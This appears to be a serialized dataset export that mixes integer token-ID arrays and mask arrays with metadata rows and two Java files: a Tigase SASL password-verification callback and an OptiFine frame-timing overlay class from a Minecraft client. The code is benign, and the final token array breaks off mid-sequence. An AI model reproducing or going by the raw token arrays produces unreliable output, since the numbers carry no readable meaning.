894,
343,
453,
427,
434,
2038,
1200,
331,
7692,
347,
477,
12429,
1083,
6337,
5620,
8723,
7692,
2368,
299,
556,
6337,
5620,
73,
1117,
941,
1828,
45,
419,
1641,
51,
7068,
1046,
8088,
51,
7068,
1052,
343,
434,
327,
4440,
2368,
882,
762,
46,
320,
419,
7692,
51,
489,
5620,
45,
4440,
2368,
51,
390,
5620,
1052,
419,
7692,
51,
489,
5620,
1260,
45,
4440,
51,
390,
5620,
941,
3127,
1052,
343,
339,
343,
2170,
899,
51,
688,
45,
4440,
312,
310,
339,
2776,
461,
2170,
899,
64,
303,
339,
303,
1041,
294,
338,
496,
620,
294,
588,
303,
581,
910,
640,
5620,
12096,
6088,
365,
320,
310,
461,
7692,
12096,
6088,
64,
303,
339,
465,
1041,
294,
338,
3777,
1187,
3966,
456,
341,
2716,
4436,
51,
294,
338,
496,
772,
4436,
625,
294,
338,
906,
828,
451,
341,
4436,
51,
294,
338,
496,
620,
619,
1437,
451,
1187,
3966,
294,
588,
303,
581,
6337,
8723,
589,
1197,
16721,
3648,
45,
3078,
4436,
625,
46,
320,
310,
7276,
5165,
4436,
5165,
299,
556,
7276,
5165,
45,
44873,
312,
310,
16507,
8723,
4436,
299,
4436,
5165,
51,
23258,
492,
310,
7380,
1641,
10502,
299,
4436,
51,
39341,
492,
310,
6337,
8723,
589,
1197,
3966,
299,
556,
6337,
8723,
589,
96,
1113,
10502,
51,
911,
22061,
603,
453,
20258,
3939,
4731,
1641,
11762,
49,
24667,
3049,
2012,
331,
493,
1425,
310,
648,
1671,
299,
244,
53,
64,
310,
456,
327,
1114,
8723,
1641,
63,
4436,
51,
39341,
1177,
320,
343,
758,
45,
1113,
51,
7068,
1052,
343,
3966,
96,
1076,
13415,
299,
640,
3968,
45,
390,
8723,
45,
2244,
51,
390,
5980,
625,
1046,
547,
762,
49,
4436,
625,
49,
4436,
51,
11641,
4595,
625,
5086,
310,
339,
603,
461,
3966,
64,
303,
339,
465,
1041,
294,
338,
3777,
1187,
3966,
456,
341,
2716,
1641,
847,
327,
3168,
46,
828,
51,
1691,
1307,
3300,
294,
338,
904,
2448,
619,
3517,
1437,
458,
4731,
51,
294,
338,
294,
338,
496,
2987,
6337,
73,
1117,
40,
18896,
1103,
27222,
45,
3078,
46,
294,
338,
294,
338,
496,
772,
1641,
15618,
1641,
847,
327,
3168,
46,
828,
294,
338,
496,
620,
1437,
451,
2448,
3966,
49,
3517,
434,
4919,
2448,
294,
588,
303,
581,
6337,
8723,
589,
1197,
16721,
3648,
30247,
45,
3078,
1641,
15618,
46,
320,
310,
1701,
65,
1114,
8723,
67,
3300,
299,
556,
6337,
73,
1117,
941,
18896,
1103,
27222,
45,
1113,
15618,
312,
310,
6337,
8723,
589,
1197,
3966,
299,
556,
6337,
8723,
589,
96,
4333,
51,
911,
22061,
603,
648,
1671,
299,
244,
53,
64,
310,
456,
327,
1114,
8723,
1641,
518,
3300,
46,
343,
3966,
96,
1076,
13415,
299,
640,
3968,
45,
1113,
312,
603,
461,
3966,
64,
303,
339,
465,
581,
782,
758,
41308,
4152,
45,
739,
65,
41308,
1195,
67,
3844,
46,
320,
310,
1173,
11642,
4152,
299,
3844,
64,
303,
339,
465,
581,
782,
31020,
2610,
365,
320,
310,
3337,
51,
9327,
2610,
45,
9327,
1262,
312,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 5,647
| true
| 60.839927
| true
| true
|
VerifyPasswordCallback.java
|
/FileExtraction/Java_unseen/tigase_tigase-server/src/main/java/tigase/auth/callbacks/VerifyPasswordCallback.java
|
/*
* Tigase XMPP Server - The instant messaging server
* Copyright (C) 2004 Tigase, Inc. ([email protected])
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, version 3 of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. Look for COPYING file in the top folder.
* If not, see http://www.gnu.org/licenses/.
*/
package tigase.auth.callbacks;
import javax.security.auth.callback.Callback;
/**
* Class for validate password. Called by SASL mechanisms. If given password is valid then {@linkplain
* VerifyPasswordCallback#setVerified(boolean) setVerified(true)} must be called.
*/
public class VerifyPasswordCallback
implements Callback {
private final String password;
private boolean verified = false;
public VerifyPasswordCallback(final String password) {
this.password = password;
}
public String getPassword() {
return password;
}
public boolean isVerified() {
return verified;
}
public void setVerified(boolean verified) {
this.verified = verified;
}
}
| 1,454
|
Java
|
.java
|
tigase/tigase-server
| 313
| 106
| 61
|
2019-05-22T08:57:06Z
|
2024-05-06T12:55:43Z
|
d119cf97a779f37e07a7fb5cb229f22b049ab0e39dbb28b3e8b07eb363a126a6
|
[
1127,
222,
338,
413,
384,
479,
1618,
1471,
85,
4242,
449,
906,
23560,
35182,
2160,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
53,
57,
413,
384,
479,
49,
6367,
51,
327,
12792,
69,
38679,
479,
51,
527,
46,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
1522,
244,
56,
451,
341,
1196,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
51,
12641,
456,
39543,
822,
347,
341,
2687,
4865,
51,
222,
338,
1691,
666,
49,
2337,
1930,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
4735,
222,
588,
222,
1337,
292,
384,
479,
51,
2408,
51,
19073,
64,
222,
222,
485,
3698,
51,
4386,
51,
2408,
51,
4399,
51,
3309,
64,
222,
222,
1350,
222,
338,
1727,
456,
6051,
3894,
51,
18034,
829,
38245,
81,
39782,
51,
1691,
2716,
3894,
458,
2101,
1636,
3105,
1222,
7378,
222,
338,
12082,
4060,
3309,
40,
489,
31695,
45,
4412,
46,
758,
31695,
45,
1527,
4416,
2315,
545,
3845,
51,
222,
588,
222,
942,
462,
12082,
4060,
3309,
376,
221,
30559,
14706,
320,
499,
221,
2072,
1175,
910,
3894,
64,
499,
221,
2072,
1922,
20430,
299,
920,
64,
499,
221,
942,
12082,
4060,
3309,
45,
3242,
910,
3894,
46,
320,
376,
221,
597,
51,
2911,
299,
3894,
64,
222,
221,
130,
499,
221,
942,
910,
640,
4060,
365,
320,
376,
221,
620,
3894,
64,
222,
221,
130,
499,
221,
942,
1922,
458,
31695,
365,
320,
376,
221,
620,
20430,
64,
222,
221,
130,
499,
221,
942,
782,
758,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 370
| true
| 74.896836
| true
| true
|
Lagometer.java
|
/FileExtraction/Java_unseen/dev-vince_vincebase/src/minecraft/optifine/Lagometer.java
|
package optifine;
import net.minecraft.client.Minecraft;
import net.minecraft.client.gui.GuiIngame;
import net.minecraft.client.gui.ScaledResolution;
import net.minecraft.client.renderer.GlStateManager;
import net.minecraft.client.renderer.Tessellator;
import net.minecraft.client.renderer.WorldRenderer;
import net.minecraft.client.renderer.vertex.DefaultVertexFormats;
import net.minecraft.client.settings.GameSettings;
import net.minecraft.profiler.Profiler;
import org.lwjgl.opengl.GL11;
public class Lagometer
{
private static Minecraft mc;
private static GameSettings gameSettings;
private static Profiler profiler;
public static boolean active = false;
public static Lagometer.TimerNano timerTick = new Lagometer.TimerNano();
public static Lagometer.TimerNano timerScheduledExecutables = new Lagometer.TimerNano();
public static Lagometer.TimerNano timerChunkUpload = new Lagometer.TimerNano();
public static Lagometer.TimerNano timerChunkUpdate = new Lagometer.TimerNano();
public static Lagometer.TimerNano timerVisibility = new Lagometer.TimerNano();
public static Lagometer.TimerNano timerTerrain = new Lagometer.TimerNano();
public static Lagometer.TimerNano timerServer = new Lagometer.TimerNano();
private static long[] timesFrame = new long[512];
private static long[] timesTick = new long[512];
private static long[] timesScheduledExecutables = new long[512];
private static long[] timesChunkUpload = new long[512];
private static long[] timesChunkUpdate = new long[512];
private static long[] timesVisibility = new long[512];
private static long[] timesTerrain = new long[512];
private static long[] timesServer = new long[512];
private static boolean[] gcs = new boolean[512];
private static int numRecordedFrameTimes = 0;
private static long prevFrameTimeNano = -1L;
private static long renderTimeNano = 0L;
private static long memTimeStartMs = System.currentTimeMillis();
private static long memStart = getMemoryUsed();
private static long memTimeLast = memTimeStartMs;
private static long memLast = memStart;
private static long memTimeDiffMs = 1L;
private static long memDiff = 0L;
private static int memMbSec = 0;
public static boolean updateMemoryAllocation()
{
long i = System.currentTimeMillis();
long j = getMemoryUsed();
boolean flag = false;
if (j < memLast)
{
double d0 = (double)memDiff / 1000000.0D;
double d1 = (double)memTimeDiffMs / 1000.0D;
int k = (int)(d0 / d1);
if (k > 0)
{
memMbSec = k;
}
memTimeStartMs = i;
memStart = j;
memTimeDiffMs = 0L;
memDiff = 0L;
flag = true;
}
else
{
memTimeDiffMs = i - memTimeStartMs;
memDiff = j - memStart;
}
memTimeLast = i;
memLast = j;
return flag;
}
private static long getMemoryUsed()
{
Runtime runtime = Runtime.getRuntime();
return runtime.totalMemory() - runtime.freeMemory();
}
public static void updateLagometer()
{
if (mc == null)
{
mc = Minecraft.getMinecraft();
gameSettings = mc.gameSettings;
profiler = mc.mcProfiler;
}
if (gameSettings.showDebugInfo && (gameSettings.ofLagometer || gameSettings.field_181657_aC))
{
active = true;
long timeNowNano = System.nanoTime();
if (prevFrameTimeNano == -1L)
{
prevFrameTimeNano = timeNowNano;
}
else
{
int j = numRecordedFrameTimes & timesFrame.length - 1;
++numRecordedFrameTimes;
boolean flag = updateMemoryAllocation();
timesFrame[j] = timeNowNano - prevFrameTimeNano - renderTimeNano;
timesTick[j] = timerTick.timeNano;
timesScheduledExecutables[j] = timerScheduledExecutables.timeNano;
timesChunkUpload[j] = timerChunkUpload.timeNano;
timesChunkUpdate[j] = timerChunkUpdate.timeNano;
timesVisibility[j] = timerVisibility.timeNano;
timesTerrain[j] = timerTerrain.timeNano;
timesServer[j] = timerServer.timeNano;
gcs[j] = flag;
timerTick.reset();
timerScheduledExecutables.reset();
timerVisibility.reset();
timerChunkUpdate.reset();
timerChunkUpload.reset();
timerTerrain.reset();
timerServer.reset();
prevFrameTimeNano = System.nanoTime();
}
}
else
{
active = false;
prevFrameTimeNano = -1L;
}
}
public static void showLagometer(ScaledResolution p_showLagometer_0_)
{
if (gameSettings != null)
{
if (gameSettings.ofLagometer || gameSettings.field_181657_aC)
{
long i = System.nanoTime();
GlStateManager.clear(256);
GlStateManager.matrixMode(5889);
GlStateManager.pushMatrix();
GlStateManager.enableColorMaterial();
GlStateManager.loadIdentity();
GlStateManager.ortho(0.0D, (double)mc.displayWidth, (double)mc.displayHeight, 0.0D, 1000.0D, 3000.0D);
GlStateManager.matrixMode(5888);
GlStateManager.pushMatrix();
GlStateManager.loadIdentity();
GlStateManager.translate(0.0F, 0.0F, -2000.0F);
GL11.glLineWidth(1.0F);
GlStateManager.disableTexture2D();
Tessellator tessellator = Tessellator.getInstance();
WorldRenderer worldrenderer = tessellator.getWorldRenderer();
worldrenderer.begin(1, DefaultVertexFormats.POSITION_COLOR);
for (int j = 0; j < timesFrame.length; ++j)
{
int k = (j - numRecordedFrameTimes & timesFrame.length - 1) * 100 / timesFrame.length;
k = k + 155;
float f = (float)mc.displayHeight;
long l = 0L;
if (gcs[j])
{
renderTime(j, timesFrame[j], k, k / 2, 0, f, worldrenderer);
}
else
{
renderTime(j, timesFrame[j], k, k, k, f, worldrenderer);
f = f - (float)renderTime(j, timesServer[j], k / 2, k / 2, k / 2, f, worldrenderer);
f = f - (float)renderTime(j, timesTerrain[j], 0, k, 0, f, worldrenderer);
f = f - (float)renderTime(j, timesVisibility[j], k, k, 0, f, worldrenderer);
f = f - (float)renderTime(j, timesChunkUpdate[j], k, 0, 0, f, worldrenderer);
f = f - (float)renderTime(j, timesChunkUpload[j], k, 0, k, f, worldrenderer);
f = f - (float)renderTime(j, timesScheduledExecutables[j], 0, 0, k, f, worldrenderer);
float f2 = f - (float)renderTime(j, timesTick[j], 0, k, k, f, worldrenderer);
}
}
renderTimeDivider(0, timesFrame.length, 33333333L, 196, 196, 196, (float)mc.displayHeight, worldrenderer);
renderTimeDivider(0, timesFrame.length, 16666666L, 196, 196, 196, (float)mc.displayHeight, worldrenderer);
tessellator.draw();
GlStateManager.enableTexture2D();
int j2 = mc.displayHeight - 80;
int k2 = mc.displayHeight - 160;
mc.fontRendererObj.drawString("30", 2, k2 + 1, -8947849);
mc.fontRendererObj.drawString("30", 1, k2, -3881788);
mc.fontRendererObj.drawString("60", 2, j2 + 1, -8947849);
mc.fontRendererObj.drawString("60", 1, j2, -3881788);
GlStateManager.matrixMode(5889);
GlStateManager.popMatrix();
GlStateManager.matrixMode(5888);
GlStateManager.popMatrix();
GlStateManager.enableTexture2D();
float f1 = 1.0F - (float)((double)(System.currentTimeMillis() - memTimeStartMs) / 1000.0D);
f1 = Config.limit(f1, 0.0F, 1.0F);
int l2 = (int)(170.0F + f1 * 85.0F);
int i1 = (int)(100.0F + f1 * 55.0F);
int j1 = (int)(10.0F + f1 * 10.0F);
int k1 = l2 << 16 | i1 << 8 | j1;
int l1 = 512 / p_showLagometer_0_.getScaleFactor() + 2;
int i2 = mc.displayHeight / p_showLagometer_0_.getScaleFactor() - 8;
GuiIngame guiingame = mc.ingameGUI;
GuiIngame.drawRect(l1 - 1, i2 - 1, l1 + 50, i2 + 10, -1605349296);
mc.fontRendererObj.drawString(" " + memMbSec + " MB/s", l1, i2, k1);
renderTimeNano = System.nanoTime() - i;
}
}
}
private static long renderTime(int p_renderTime_0_, long p_renderTime_1_, int p_renderTime_3_, int p_renderTime_4_, int p_renderTime_5_, float p_renderTime_6_, WorldRenderer p_renderTime_7_)
{
long i = p_renderTime_1_ / 200000L;
if (i < 3L)
{
return 0L;
}
else
{
p_renderTime_7_.pos((double)((float)p_renderTime_0_ + 0.5F), (double)(p_renderTime_6_ - (float)i + 0.5F), 0.0D).color(p_renderTime_3_, p_renderTime_4_, p_renderTime_5_, 255).endVertex();
p_renderTime_7_.pos((double)((float)p_renderTime_0_ + 0.5F), (double)(p_renderTime_6_ + 0.5F), 0.0D).color(p_renderTime_3_, p_renderTime_4_, p_renderTime_5_, 255).endVertex();
return i;
}
}
private static long renderTimeDivider(int p_renderTimeDivider_0_, int p_renderTimeDivider_1_, long p_renderTimeDivider_2_, int p_renderTimeDivider_4_, int p_renderTimeDivider_5_, int p_renderTimeDivider_6_, float p_renderTimeDivider_7_, WorldRenderer p_renderTimeDivider_8_)
{
long i = p_renderTimeDivider_2_ / 200000L;
if (i < 3L)
{
return 0L;
}
else
{
p_renderTimeDivider_8_.pos((double)((float)p_renderTimeDivider_0_ + 0.5F), (double)(p_renderTimeDivider_7_ - (float)i + 0.5F), 0.0D).color(p_renderTimeDivider_4_, p_renderTimeDivider_5_, p_renderTimeDivider_6_, 255).endVertex();
p_renderTimeDivider_8_.pos((double)((float)p_renderTimeDivider_1_ + 0.5F), (double)(p_renderTimeDivider_7_ - (float)i + 0.5F), 0.0D).color(p_renderTimeDivider_4_, p_renderTimeDivider_5_, p_renderTimeDivider_6_, 255).endVertex();
return i;
}
}
public static boolean isActive()
{
return active;
}
public static class TimerNano
{
public long timeStartNano = 0L;
public long timeNano = 0L;
public void start()
{
if (Lagometer.active)
{
if (this.timeStartNano == 0L)
{
this.timeStartNano = System.nanoTime();
}
}
}
public void end()
{
if (Lagometer.active)
{
if (this.timeStartNano != 0L)
{
this.timeNano += System.nanoTime() - this.timeStartNano;
this.timeStartNano = 0L;
}
}
}
private void reset()
{
this.timeNano = 0L;
this.timeStartNano = 0L;
}
}
}
| 11,808
|
Java
|
.java
|
dev-vince/vincebase
| 11
| 1
| 0
|
2022-07-01T04:24:09Z
|
2022-07-06T05:21:38Z
|
59acc7af99bbe725e8b76a5a2a17e30ea805ffadbc7bbe9fb2b52e9e3eca79de
|
[
1337,
2948,
344,
501,
64,
222,
222,
485,
3723,
51,
8654,
51,
1598,
51,
33186,
64,
222,
485,
3723,
51,
8654,
51,
1598,
51,
8472,
51,
7889,
402,
3642,
64,
222,
485,
3723,
51,
8654,
51,
1598,
51,
8472,
51,
39351,
13288,
64,
222,
485,
3723,
51,
8654,
51,
1598,
51,
9405,
51,
11731,
37026,
64,
222,
485,
3723,
51,
8654,
51,
1598,
51,
9405,
51,
35714,
10607,
738,
64,
222,
485,
3723,
51,
8654,
51,
1598,
51,
9405,
51,
6719,
6470,
64,
222,
485,
3723,
51,
8654,
51,
1598,
51,
9405,
51,
9317,
51,
2061,
5647,
19278,
64,
222,
485,
3723,
51,
8654,
51,
1598,
51,
3563,
51,
3783,
2977,
64,
222,
485,
3723,
51,
8654,
51,
27509,
51,
21565,
64,
222,
485,
1105,
51,
9449,
51,
16006,
51,
2079,
54,
54,
64,
222,
222,
942,
462,
517,
500,
21829,
222,
128,
303,
964,
924,
35022,
16544,
64,
303,
964,
924,
6067,
2977,
4204,
2977,
64,
303,
964,
924,
46031,
43827,
64,
303,
581,
924,
1922,
4537,
299,
920,
64,
303,
581,
924,
517,
500,
21829,
51,
6423,
36195,
8764,
10397,
299,
556,
517,
500,
21829,
51,
6423,
36195,
492,
303,
581,
924,
517,
500,
21829,
51,
6423,
36195,
8764,
18382,
2663,
322,
6981,
299,
556,
517,
500,
21829,
51,
6423,
36195,
492,
303,
581,
924,
517,
500,
21829,
51,
6423,
36195,
8764,
7134,
7847,
299,
556,
517,
500,
21829,
51,
6423,
36195,
492,
303,
581,
924,
517,
500,
21829,
51,
6423,
36195,
8764,
7134,
2346,
299,
556,
517,
500,
21829,
51,
6423,
36195,
492,
303,
581,
924,
517,
500,
21829,
51,
6423,
36195,
8764,
9952,
299,
556,
517,
500,
21829,
51,
6423,
36195,
492,
303,
581,
924,
517,
500,
21829,
51,
6423,
36195,
8764,
31905,
299,
556,
517,
500,
21829,
51,
6423,
36195,
492,
303,
581,
924,
517,
500,
21829,
51,
6423,
36195,
8764,
2077,
299,
556,
517,
500,
21829,
51,
6423,
36195,
492,
303,
964,
924,
1964,
1197,
6524,
2163,
299,
556,
1964,
96,
58,
54,
55,
988,
303,
964,
924,
1964,
1197,
6524,
10397,
299,
556,
1964,
96,
58,
54,
55,
988,
303,
964,
924,
1964,
1197,
6524,
18382,
2663,
322,
6981,
299,
556,
1964,
96,
58,
54,
55,
988,
303,
964,
924,
1964,
1197,
6524,
7134,
7847,
299,
556,
1964,
96,
58,
54,
55,
988,
303,
964,
924,
1964,
1197,
6524,
7134,
2346,
299,
556,
1964,
96,
58,
54,
55,
988,
303,
964,
924,
1964,
1197,
6524,
9952,
299,
556,
1964,
96,
58,
54,
55,
988,
303,
964,
924,
1964,
1197,
6524,
31905,
299,
556,
1964,
96,
58,
54,
55,
988,
303,
964,
924,
1964,
1197,
6524,
2077,
299,
556,
1964,
96,
58,
54,
55,
988,
303,
964,
924,
1922,
1197,
504,
1766,
299,
556,
1922,
96,
58,
54,
55,
988,
303,
964,
924,
648,
1952,
454,
17036,
2163,
9695,
299,
244,
53,
64,
303,
964,
924,
1964,
7329,
2163,
1061,
36195,
299,
449,
54,
81,
64,
303,
964,
924,
1964,
2922,
1061,
36195,
299,
244,
53,
81,
64,
303,
964,
924,
1964,
2366,
1061,
2148,
11085,
299,
1189,
51,
17217,
492,
303,
964,
924,
1964,
2366,
2148,
299,
640,
5030,
10571,
492,
303,
964,
924,
1964,
2366,
1061,
3283,
299,
2366,
1061,
2148,
11085,
64,
303,
964,
924,
1964,
2366,
3283,
299,
2366,
2148,
64,
303,
964,
924,
1964,
2366,
1061,
7849,
11085,
299,
244,
54,
81,
64,
303,
964,
924,
1964,
2366,
7849,
299,
244,
53,
81,
64,
303,
964,
924,
648,
2366,
24636,
3110,
299,
244,
53,
64,
465,
581,
924,
1922,
1991,
5030,
16809,
365,
303,
320,
310,
1964,
613,
299,
1189,
51,
17217,
492,
310,
1964,
614,
299,
640,
5030,
10571,
492,
310,
1922,
4666,
299,
920,
64,
603,
434,
327,
111,
350,
2366,
3283,
46,
310,
320,
343,
2082,
362,
53,
299,
327,
2640,
46,
1853,
7849,
536,
244,
54,
53,
53,
53,
53,
53,
53,
51,
53,
73,
64,
343,
2082,
362,
54,
299,
327,
2640,
46,
1853,
1061,
7849,
11085,
536,
244,
54,
53,
53,
53,
51,
53,
73,
64,
343,
648,
851,
299,
327,
429,
2516,
105,
53,
536,
362,
54,
312,
1083,
434,
327,
112,
868,
244,
53,
46,
343,
320,
419,
2366,
24636,
3110,
299,
851,
64,
343,
339,
1083,
2366,
1061,
2148,
11085,
299,
613,
64,
343,
2366,
2148,
299,
614,
64,
343,
2366,
1061,
7849,
11085,
299,
244,
53,
81,
64,
343,
2366,
7849,
299,
244,
53,
81,
64,
343,
4666,
299,
878,
64,
310,
339,
310,
832,
310,
320,
343,
2366,
1061,
7849,
11085,
299,
613,
449,
2366,
1061,
2148,
11085,
64,
343,
2366,
7849,
299,
614,
449,
2366,
2148,
64,
310,
339,
603,
2366,
1061,
3283,
299,
613,
64,
310,
2366,
3283,
299,
614,
64,
310,
461,
4666,
64,
303,
339,
465,
964,
924,
1964,
640,
5030,
10571,
365,
303,
320,
310,
7324,
6098,
299,
7324,
51,
390,
5061,
492,
310,
461,
6098,
51,
3025,
5030,
365,
449,
6098,
51,
4010,
5030,
492,
303,
339,
465,
581,
924,
782,
1991,
40943,
21829,
365,
303,
320,
310,
434,
327,
6070,
630,
762,
46,
310,
320,
343,
16544,
299,
35022,
51,
25413,
19469,
492,
343,
4204,
2977,
299,
16544,
51,
3642,
2977,
64,
343,
43827,
299,
16544,
51,
6070,
21565,
64,
310,
339,
603,
434,
327,
3642,
2977,
51,
2276,
3544,
1139,
979,
327,
3642,
2977,
51,
1048,
40943,
21829,
1293,
4204,
2977,
51,
1512,
100,
54,
61,
54,
59,
58,
60,
100,
10713,
509,
310,
320,
343,
4537,
299,
878,
64,
343,
1964,
1153,
6538,
36195,
299,
1189,
51,
27359,
1061,
492,
1083,
434,
327,
5599,
2163,
1061,
36195,
630,
449,
54,
81,
46,
343,
320,
419,
7329,
2163,
1061,
36195,
299,
1153,
6538,
36195,
64,
343,
339,
343,
832,
343,
320,
419,
648,
614,
299,
1952,
454,
17036,
2163,
9695,
568,
6524,
2163,
51,
1340,
449,
244,
54,
64,
419,
3323,
1538,
454,
17036,
2163,
9695,
64,
419,
1922,
4666,
299,
1991,
5030,
16809,
492,
419,
6524,
2163,
96,
111,
98,
299,
1153,
6538,
36195,
449,
7329,
2163,
1061,
36195,
449,
2922,
1061,
36195,
64,
419,
6524,
10397,
96,
111,
98,
299,
8764,
10397,
51,
1021,
36195,
64,
419,
6524,
18382,
2663,
322,
6981,
96,
111,
98,
299,
8764,
18382,
2663,
322,
6981,
51,
1021,
36195,
64,
419,
6524,
7134,
7847,
96,
111,
98,
299,
8764,
7134,
7847,
51,
1021,
36195,
64,
419,
6524,
7134,
2346,
96,
111,
98,
299,
8764,
7134,
2346,
51,
1021,
36195,
64,
419,
6524,
9952,
96,
111,
98,
299,
8764,
9952,
51,
1021,
36195,
64,
419,
6524,
31905,
96,
111,
98,
299,
8764,
31905,
51,
1021,
36195,
64,
419,
6524,
2077,
96,
111,
98,
299,
8764,
2077,
51,
1021,
36195,
64,
419,
504,
1766,
96,
111,
98,
299,
4666,
64,
419,
8764,
10397,
51,
4558,
492,
419,
8764,
18382,
2663,
322,
6981,
51,
4558,
492,
419,
8764,
9952,
51,
4558,
492,
419,
8764,
7134,
2346,
51,
4558,
492,
419,
8764,
7134,
7847,
51,
4558,
492,
419,
8764,
31905,
51,
4558,
492,
419,
8764,
2077,
51,
4558,
492,
419,
7329,
2163,
1061,
36195,
299,
1189,
51,
27359,
1061,
492,
343,
339,
310,
339,
310,
832,
310,
320,
343,
4537,
299,
920,
64,
343,
7329,
2163,
1061,
36195,
299,
449,
54,
81,
64,
310,
339,
303,
339,
465,
581,
924,
782,
2539,
40943,
21829,
45,
39351,
13288,
317,
100,
2276,
40943,
21829,
100,
53,
7943,
303,
320,
310,
434,
327,
3642,
2977,
882,
762,
46,
310,
320,
343,
434,
327,
3642,
2977,
51,
1048,
40943,
21829,
1293,
4204,
2977,
51,
1512,
100,
54,
61,
54,
59,
58,
60,
100,
10713,
46,
343,
320,
419,
1964,
613,
299,
1189,
51,
27359,
1061,
492,
419,
27020,
37026,
51,
3830,
45,
55,
58,
59,
312,
419,
27020,
37026,
51,
4948,
2116,
45,
58,
61,
61,
62,
312,
419,
27020,
37026,
51,
2036,
4181,
492,
419,
27020,
37026,
51,
4909,
1530,
6347,
492,
419,
27020,
37026,
51,
963,
6741,
492,
419,
27020,
37026,
51,
6729,
116,
45,
53,
51,
53,
73,
49,
327,
2640,
46,
6070,
51,
2784,
2627,
49,
327,
2640,
46,
6070,
51,
2784,
3041,
49,
244,
53,
51,
53,
73,
49,
244,
54,
53,
53,
53,
51,
53,
73,
49,
244,
56,
53,
53,
53,
51,
53,
73,
312,
419,
27020,
37026,
51,
4948,
2116,
45,
58,
61,
61,
61,
312,
419,
27020,
37026,
51,
2036,
4181,
492,
419,
27020,
37026,
51,
963,
6741,
492,
419,
27020,
37026,
51,
7407,
45,
53,
51,
53,
75,
49,
244,
53,
51,
53,
75,
49,
449,
55,
53,
53,
53,
51,
53,
75,
312,
419,
3210,
54,
54,
51,
1861,
41256,
45,
54,
51,
53,
75,
312,
419,
27020,
37026,
51,
5826,
4900,
55,
73,
492,
419,
41273,
10607,
738,
41705,
10607,
738,
299,
41273,
10607,
738,
51,
7432,
492,
419,
10914,
6470,
5810,
9405,
299,
41705,
10607,
738,
51,
390,
6719,
6470,
492,
419,
5810,
9405,
51,
2425,
45,
54,
49,
4119,
5647,
19278,
51,
19646,
100,
6237,
312,
2125,
456,
327,
429,
614,
299,
244,
53,
64,
614,
350,
6524,
2163,
51,
1340,
64,
3323,
111,
46,
419,
320,
547,
648,
851,
299,
327,
111,
449,
1952,
454,
17036,
2163,
9695,
568,
6524,
2163,
51,
1340,
449,
244,
54,
46,
338,
244,
54,
53,
53,
536,
6524,
2163,
51,
1340,
64,
547,
851,
299,
851,
494,
244,
54,
58,
58,
64,
547,
1916,
315,
299,
327,
1832,
46,
6070,
51,
2784,
3041,
64,
547,
1964,
475,
299,
244,
53,
81,
64,
3704,
434,
327,
108,
1766,
96,
111,
1156,
547,
320,
733,
2922,
1061,
45,
111,
49,
6524,
2163,
96,
111,
636,
851,
49,
851,
536,
244,
55,
49,
244,
53,
49,
315,
49,
5810,
9405,
312,
547,
339,
547,
832,
547,
320,
733,
2922,
1061,
45,
111,
49,
6524,
2163,
96,
111,
636,
851,
49,
851,
49,
851,
49,
315,
49,
5810,
9405,
312,
733,
315,
299,
315,
449,
327,
1832,
46,
3183,
1061,
45,
111,
49,
6524,
2077,
96,
111,
636,
851,
536,
244,
55,
49,
851,
536,
244,
55,
49,
851,
536,
244,
55,
49,
315,
49,
5810,
9405,
312,
733,
315,
299,
315,
449,
327,
1832,
46,
3183,
1061,
45,
111,
49,
6524,
31905,
96,
111,
636,
244,
53,
49,
851,
49,
244,
53,
49,
315,
49,
5810,
9405,
312,
733,
315,
299,
315,
449,
327,
1832,
46,
3183,
1061,
45,
111,
49,
6524,
9952,
96,
111,
636,
851,
49,
851,
49,
244,
53,
49,
315,
49,
5810,
9405,
312,
733,
315,
299,
315,
449,
327,
1832,
46,
3183,
1061,
45,
111,
49,
6524,
7134,
2346,
96,
111,
636,
851,
49,
244,
53,
49,
244,
53,
49,
315,
49,
5810,
9405,
312,
733,
315,
299,
315,
449,
327,
1832,
46,
3183,
1061,
45,
111,
49,
6524,
7134,
7847,
96,
111,
636,
851,
